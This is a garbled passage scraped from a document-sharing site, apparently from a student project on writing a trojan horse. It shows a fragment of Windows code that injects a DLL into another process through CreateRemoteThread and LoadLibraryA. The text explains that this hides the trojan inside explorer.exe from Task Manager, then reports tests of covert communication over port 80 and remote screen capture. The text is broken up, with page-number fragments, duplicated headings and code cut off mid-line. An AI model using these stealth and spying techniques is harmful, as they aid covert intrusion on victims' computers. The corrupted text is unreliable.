49、ART_ROUTINE fnStartAddr= (LPTHREAD_START_ROUTINE) GetProcAddress(phmd,LoadLibraryA);/獲 取動態(tài)鏈接庫函數(shù)地址 hRemoteThread1=CreateRemoteThread(hRemoteProcess, NULL, 0, fnStartAddr, pszLibFileRemote, 0, NULL);/創(chuàng)建遠程線程 if(hRemoteThread1!=NULL) CloseHandle(hRemoteThread1);/關閉遠程線程 if(hProcessSnap!=NULL) CloseHandle

50、(hProcessSnap);/關閉進程快照 實現(xiàn)以上代碼就完成了對木馬進程的隱藏,在任務管理器里是不會發(fā)現(xiàn)木 馬蹤跡的。只有借助能查看進程模塊信息的軟件才能發(fā)現(xiàn)是否存在木馬,如優(yōu) 化大師,IceSword 等。 4.24.2 隱藏隱藏通信通信 4.34.3 木馬功能的實現(xiàn)木馬功能的實現(xiàn) 5 5系統(tǒng)測試系統(tǒng)測試 5.1 功能測試功能測試 測試環(huán)境:windows XP 系統(tǒng),局域網(wǎng) 測試項目:在服務器端實現(xiàn)進程的隱藏,把木馬作為 explorer.exe 的一個 線程運行,并使用 80 端口通信,在客戶端實現(xiàn)對服務器端的抓屏 測試結果: (1)進程的隱藏,如圖 1 圖 2 進程隱藏 (2)客戶

51、端設置,如圖 2 圖 3 客戶端設置 (3)客戶端抓屏效果,如圖 3 圖 4 客戶端抓屏效果 測試結果表明,當木馬在服務器端運行時,只有查看進程模塊才能發(fā)現(xiàn)木 馬 蹤跡;客戶端設置完畢連接參數(shù),建立連接后能立刻收到服務器發(fā)送的數(shù)據(jù)并 顯示出來。達到課題設計要求。 5.2 性能測試性能測試 服務器端在木馬啟動前其桌面進程 explorer.exe 其內存和 CPU 使用如下圖 5 所示: 圖 5 使用前內存占用圖 當服務器端木馬啟動后,其桌面進程 explorer.exe 其內存和 CPU 使用如下 圖 6 所示: 圖 6 使用后內存占用圖 從上面兩個圖我們可以看出,在木馬運行之前和木馬運行之后,其所隱藏 的進程內存使用和

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
  • 4. 未經權益所有人同意不得將文件中的內容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內容本身不做任何修改或編輯,并不能對任何下載內容負責。
  • 6. 下載文件中如有侵權或不適當內容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

最新文檔

評論

0/150

提交評論